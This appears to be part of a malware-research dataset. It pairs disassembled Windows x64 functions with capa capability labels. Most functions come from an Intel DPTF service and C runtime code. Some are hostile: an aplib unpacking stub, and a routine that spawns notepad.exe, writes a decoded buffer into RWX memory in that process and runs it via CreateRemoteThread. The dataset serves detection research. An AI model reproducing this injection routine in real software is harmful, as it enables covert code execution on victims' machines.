joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400016f0
Capabilities:
Create service
Persist via windows service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edi, edi
lea rdx, [rsp + 0x70]
mov r8d, 0x104
xor ecx, ecx
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000173c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.InstallService:__GetModuleFileName___failed.
jmp 0x1400017d7
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x140001763
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.InstallService:__OpenSCManager___failed.
jmp 0x1400017d7
mov qword [rsp + 0x60], rdi
lea rax, [0x140015864]
mov qword [rsp + 0x58], rdi
lea r8, str.Intel_DPTF_LPM_Policy_Service_Application
mov qword [rsp + 0x50], rax
lea rdx, str.DptfPolicyLpmService
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rdi
mov r9d, 0xf01ff
mov qword [rsp + 0x38], rax
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
jne 0x1400017ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.InstallService:__CreateService___failed.
mov edx, eax
call fcn.140002ff0
lea rcx, str.Service_installation_failed__n
call fcn.140003348
jmp 0x140001801
lea rcx, str.Service_has_been_installed.__It_can_be_started_via_the_Services_Control_Panel_applet._n
call fcn.140003348
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rbx, rbx
je 0x14000180f
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400030f0
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x290
pop rdi
ret

Function at 0x140001830
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x14000186a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.UninstallService:__OpenSCManager___failed.
call fcn.140002ff0
jmp 0x1400018cd
mov r8d, 0x10000
lea rdx, str.DptfPolicyLpmService
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x14000189e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.UninstallService:__OpenService___failed.
call fcn.140002ff0
jmp 0x1400018cd
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1400018c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.UninstallService:__DeleteService___failed.
call fcn.140002ff0
jmp 0x1400018cd
lea rcx, str.Service_has_been_uninstalled._n
cmp eax, 1
je 0x1400018d4
lea rcx, str.Service_uninstall_failed__n
call fcn.140003348
test rbx, rbx
je 0x1400018e7
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rdi, rdi
je 0x1400018f5
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140001900
Capabilities:
Access the windows event log
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
call fcn.1400020b0
mov ebx, eax
test eax, eax
jne 0x14000199f
lea rdi, str.DptfPolicyLpmService
xor ecx, ecx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov rsi, rax
test rax, rax
je 0x140001af2
lea rax, str.ServiceStart:__CreateSharedMemory___failed.
mov qword [rsp + 0x50], rdi
xor edi, edi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea ecx, [rbx + 2]
mov dword [rsp + 0x30], edi
lea edx, [rbx + 1]
mov word [rsp + 0x28], cx
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 0xc0020001
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
call fcn.1400021f0
mov ebx, eax
test eax, eax
jne 0x1400019b6
lea rcx, str.ServiceStart:__CreateEventsForDriverCommunications___failed.
jmp 0x140001aed
call fcn.140002300
mov ebx, eax
test eax, eax
jne 0x1400019cd
lea rcx, str.ServiceStart:__CreateEventsForHelperAppCommunications___failed.
jmp 0x140001aed
lea r8, str.WaitableTimer
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov qword [0x14001c990], rax
test rax, rax
jne 0x140001a17
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ServiceStart:__CreateWaitableTimer___failed.
call fcn.140002ff0
xor edi, edi
mov ebx, edi
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
xor r8d, r8d
lea r9, str.DptfPolicyLpmServerStopEvent
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x14001c9c0], rax
test rax, rax
jne 0x140001a63
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ServiceStart:__CreateEvent___g_hServerStopEvent_failed.
call fcn.140002ff0
xor edi, edi
mov ebx, edi
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
call fcn.140002410
mov ebx, eax
test eax, eax
jne 0x140001a97
lea rcx, str.ServiceStart:__ConnectToDptfFrameworkDriver___failed.
call fcn.140002f60
mov eax, ebx
mov qword [0x14001b5c0], 0xffffffffffffffff
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
call fcn.140002ac0
xor edi, edi
mov ebx, eax
test eax, eax
jne 0x140001abb
mov qword [0x14001c978], rdi
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov qword [rsp + 0x28], rdi
lea r8, [0x140001cd0]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14001c9b8], rax
test rax, rax
jne 0x140001af2
mov ebx, edi
lea rcx, str.ServiceStart:__CreateThread___failed.
call fcn.140002f60
mov rsi, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x140002770
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x60
mov rcx, qword [0x14001b5c0]
cmp rcx, 0xffffffffffffffff
jne 0x140002818
mov qword [rsp + 0x78], rsi
xor ecx, ecx
lea rsi, str.DptfPolicyLpmService
mov qword [rsp + 0x80], rdi
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
xor ebx, ebx
mov rdi, rax
test rax, rax
je 0x140002803
mov qword [rsp + 0x40], rbx
lea rax, str.NotifyServiceStatusRunning:__p_handle_is_NULL.
mov qword [rsp + 0x58], rax
lea ecx, [rbx + 2]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x38], rax
lea edx, [rbx + 1]
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov word [rsp + 0x28], cx
mov r9d, 0xc0020001
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov rdi, qword [rsp + 0x80]
mov eax, ebx
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rbx
ret
cmp dword [0x14001c974], 0
jne 0x14000287e
xor ebx, ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rbx
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov edx, 0x222100
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ebx, eax
test eax, eax
jne 0x14000286e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NotifyServiceStatusRunning:__DeviceIoControl___failed.
call fcn.140002ff0
mov eax, ebx
add rsp, 0x60
pop rbx
ret
mov dword [0x14001c974], 1
add rsp, 0x60
pop rbx
ret
mov eax, 1
add rsp, 0x60
pop rbx
ret
Function at 0x140002890
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov rcx, qword [0x14001b5c0]
cmp rcx, 0xffffffffffffffff
jne 0x140002935
mov qword [rsp + 0x78], rsi
xor ecx, ecx
lea rsi, str.DptfPolicyLpmService
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
xor ebx, ebx
mov rdi, rax
test rax, rax
je 0x140002920
mov qword [rsp + 0x40], rbx
lea rax, str.NotifyServiceStatusNotRunning:__p_handle_is_NULL.
mov qword [rsp + 0x58], rax
lea ecx, [rbx + 2]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x38], rax
lea edx, [rbx + 1]
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov word [rsp + 0x28], cx
mov r9d, 0xc0020001
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov eax, ebx
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
cmp dword [0x14001c974], 1
jne 0x1400029a7
xor ebx, ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rbx
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov edx, 0x222104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, eax
test eax, eax
jne 0x140002993
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NotifyServiceStatusNotRunning:__DeviceIoControl___failed.
call fcn.140002ff0
mov eax, edi
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
mov dword [0x14001c974], ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
mov eax, 1
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x1400029c0
Capabilities:
Access the windows event log

Disassembly:
mov rax, rsp
mov dword [rax + 0x10], edx
mov qword [rax + 8], rcx
push rbx
sub rsp, 0x60
mov rcx, qword [0x14001b5c0]
cmp rcx, 0xffffffffffffffff
jne 0x140002a6b
mov qword [rax + 0x18], rsi
xor ecx, ecx
lea rsi, str.DptfPolicyLpmService
mov qword [rax + 0x20], rdi
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
xor ebx, ebx
mov rdi, rax
test rax, rax
je 0x140002a53
mov qword [rsp + 0x40], rbx
lea rax, str.NotifyForegroundApplicationChanged:__p_handle_is_NULL.
mov qword [rsp + 0x58], rax
lea ecx, [rbx + 2]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x38], rax
lea edx, [rbx + 1]
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov word [rsp + 0x28], cx
mov r9d, 0xc0020001
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov rdi, qword [rsp + 0x88]
mov eax, ebx
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rbx
ret
xor ebx, ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov edx, 0x22210c
mov dword [rsp + 0x28], ebx
lea r9d, [rbx + 4]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ebx, eax
test eax, eax
jne 0x140002ab5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NotifyForegroundApplicationChanged:__DeviceIoControl___failed.
call fcn.140002ff0
mov eax, ebx
add rsp, 0x60
pop rbx
ret
Function at 0x140002df0
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x60
mov rcx, qword [0x14001c9a0]
mov r14, r8
mov rdi, qword [0x14001c978]
mov esi, edx
xor ebx, ebx
mov dword [r8], 0xffffffff
call qword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x140002e9a
lea rsi, str.DptfPolicyLpmService
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov rdi, rax
test rax, rax
je 0x140002ecc
mov qword [rsp + 0x40], rbx
lea rax, str.GetForegroundApplicationIndex:__SetEvent___failed.
mov qword [rsp + 0x58], rax
lea ecx, [rbx + 2]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x38], rax
lea edx, [rbx + 1]
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov word [rsp + 0x28], cx
mov r9d, 0xc0020001
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
jmp 0x140002ecc
mov rcx, qword [0x14001c998]
mov edx, esi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140002ef9
cmp eax, 0x80
je 0x140002ef0
cmp eax, 0x102
je 0x140002ecc
cmp eax, 0xffffffff
je 0x140002ee7
lea rcx, str.GetForegroundApplicationIndex:__WaitForSingleObject___failed.
call fcn.140002f60
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x60
pop r14
ret
lea rcx, str.GetForegroundApplicationIndex:__WaitForSingleObject___returned_WAIT_FAILED.
jmp 0x140002ec7
lea rcx, str.GetForegroundApplicationIndex:__WaitForSingleObject___returned_WAIT_ABANDONED.
jmp 0x140002ec7
mov r11, qword [0x14001c980]
cmp word [r11], bx
je 0x140002ecc
mov r10d, dword [rdi]
test r10d, r10d
je 0x140002f4d
lea r9, [rdi + 8]
mov r8, qword [r9]
mov rax, r11
sub r8, r11
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140002f34
add rax, 2
test ecx, ecx
jne 0x140002f20
test edx, edx
je 0x140002f4a
inc ebx
add r9, 8
cmp ebx, r10d
jb 0x140002f12
mov eax, 1
jmp 0x140002ece
mov dword [r14], ebx
mov eax, 1
jmp 0x140002ece

Function at 0x140002f60
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rdi, rcx
lea rsi, str.DptfPolicyLpmService
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov rbx, rax
test rax, rax
je 0x140002fdb
xor ecx, ecx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x40], rcx
lea rax, [rsp + 0x50]
mov r9d, 2
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ecx
xor r8d, r8d
mov word [rsp + 0x28], r9w
mov qword [rsp + 0x20], rcx
mov rcx, rbx
lea edx, [r9 - 1]
mov qword [rsp + 0x58], rdi
mov r9d, 0xc0020001
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x140002ff0
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov esi, edx
lea rbp, str.DptfPolicyLpmService
mov rdi, rcx
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov rbx, rax
test rax, rax
je 0x1400030aa
mov r9d, esi
lea r8, str.Last_error___0x_08x_
mov edx, 0x32
lea rcx, [rsp + 0x70]
call fcn.140003708
xor ecx, ecx
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x40], rcx
lea rax, [rsp + 0x70]
mov r9d, 3
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], ecx
mov word [rsp + 0x28], r9w
lea edx, [r9 - 2]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc0020001
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400030f0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140007a9c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x14001bb70], eax
call main
mov rcx, rbx
call fcn.140007abc
cmp dword [0x14001bb70], 0
jne 0x14000392a
mov ecx, 1
call main
mov ecx, 0xc0000409
add rsp, 0x20
pop rbx
jmp 0x140007a9c
push rbx
sub rsp, 0x20
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, ebx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140009ce0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov ebx, ecx
xor r13d, r13d
and dword [rsp + 0x68], r13d
xor edi, edi
mov dword [rsp + 0x60], edi
xor esi, esi
mov edx, ecx
sub edx, 2
je 0x140009dd9
sub edx, 2
je 0x140009d7c
sub edx, 2
je 0x140009d6c
sub edx, 2
je 0x140009d7c
sub edx, 3
je 0x140009d7c
sub edx, 4
je 0x140009d5c
sub edx, 6
je 0x140009d49
cmp edx, 1
je 0x140009d6c
call fcn.140004cdc
mov dword [rax], 0x16
call fcn.140003b74
jmp 0x140009d89
lea r14, [0x14001c8e0]
mov rcx, qword [0x14001c8e0]
jmp 0x140009de7
lea r14, [0x14001c8f0]
mov rcx, qword [0x14001c8f0]
jmp 0x140009de7
lea r14, [0x14001c8e8]
mov rcx, qword [0x14001c8e8]
jmp 0x140009de7
call fcn.140004a80
mov rsi, rax
test rax, rax
jne 0x140009d91
or eax, 0xffffffff
jmp 0x140009efc
mov rdx, qword [rax + 0xa0]
mov rcx, rdx
movsxd r8, dword [0x140011520]
cmp dword [rcx + 4], ebx
je 0x140009dba
add rcx, 0x10
mov rax, r8
shl rax, 4
add rax, rdx
cmp rcx, rax
jb 0x140009da2
mov rax, r8
shl rax, 4
add rax, rdx
cmp rcx, rax
jae 0x140009dce
cmp dword [rcx + 4], ebx
je 0x140009dd0
xor ecx, ecx
lea r14, [rcx + 8]
mov r15, qword [r14]
jmp 0x140009df9
lea r14, [0x14001c8d8]
mov rcx, qword [0x14001c8d8]
mov edi, 1
mov dword [rsp + 0x60], edi
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r15, rax
cmp r15, 1
jne 0x140009e06
xor eax, eax
jmp 0x140009efc
test r15, r15
jne 0x140009e15
lea ecx, [r15 + 3]
call fcn.140005f18
int3
test edi, edi
je 0x140009e21
xor ecx, ecx
call fcn.140007b60
nop
mov r12d, 0x910
cmp ebx, 0xb
ja 0x140009e5f
bt r12d, ebx
jae 0x140009e5f
mov r13, qword [rsi + 0xa8]
mov qword [rsp + 0x28], r13
and qword [rsi + 0xa8], 0
cmp ebx, 8
jne 0x140009e9d
mov eax, dword [rsi + 0xb0]
mov dword [rsp + 0x68], eax
mov dword [rsi + 0xb0], 0x8c
cmp ebx, 8
jne 0x140009e9d
mov ecx, dword [0x140011528]
mov edx, ecx
mov dword [rsp + 0x20], ecx
mov eax, dword [0x14001152c]
add ecx, eax
cmp edx, ecx
jge 0x140009ea8
movsxd rcx, edx
add rcx, rcx
mov rax, qword [rsi + 0xa0]
and qword [rax + rcx*8 + 8], 0
inc edx
mov dword [rsp + 0x20], edx
mov ecx, dword [0x140011528]
jmp 0x140009e70
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [r14], rax
test edi, edi
je 0x140009eb3
xor ecx, ecx
call fcn.140007d54
cmp ebx, 8
jne 0x140009ec5
mov edx, dword [rsi + 0xb0]
mov ecx, ebx
call r15
jmp 0x140009eca
mov ecx, ebx
call r15
cmp ebx, 0xb
ja 0x140009dff
bt r12d, ebx
jae 0x140009dff
mov qword [rsi + 0xa8], r13
cmp ebx, 8
jne 0x140009dff
mov eax, dword [rsp + 0x68]
mov dword [rsi + 0xb0], eax
jmp 0x140009dff
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1406cd058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406cd1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406cd089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406cd06f
add dl, dl
jne 0x1406cd096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406cd0f6
xor eax, eax
add dl, dl
jne 0x1406cd0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406cd1ad
add dl, dl
jne 0x1406cd0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406cd0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406cd0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406cd0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406cd0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406cd07e
mov eax, 1
add dl, dl
jne 0x1406cd106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406cd113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406cd0fb
sub eax, ebx
mov ebx, 1
jne 0x1406cd14c
mov ecx, 1
add dl, dl
jne 0x1406cd12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406cd13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406cd123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406cd07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406cd168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406cd175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406cd15d
cmp eax, 0x7d00
jae 0x1406cd19b
cmp eax, 0x500
jb 0x1406cd196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406cd07e
cmp eax, 0x7f
ja 0x1406cd19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406cd07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406cd1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406cd07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400014c1
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x340
lea rbp, [rsp + 0x80]
call fcn.140001760
lea rdx, [rbp + 0x220]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
movq qword [rbp + 0x210], xmm0
lea rax, [rbp + 0x200]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x4000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.C:WindowsSystem32_notepad.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
lea rax, [rbp - 0x30]
lea rdx, [0x140004040]
mov ecx, 0x45
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x2bc], 0x53
mov qword [rbp + 0x2b0], 0x227
mov rax, qword [rbp + 0x2b0]
mov edx, eax
lea rax, [rbp - 0x30]
mov r8d, 0x53
mov rcx, rax
call fcn.140001450
mov qword [rbp + 0x2a8], rax
mov eax, dword [rbp + 0x210]
mov r8d, eax
mov edx, 1
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x298], rax
mov rcx, qword [rbp + 0x2a8]
mov rdx, qword [rbp + 0x298]
mov rax, qword [rbp + 0x2a0]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x298]
mov rax, qword [rbp + 0x2a0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x2a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x340
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001970
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002790
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002790
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]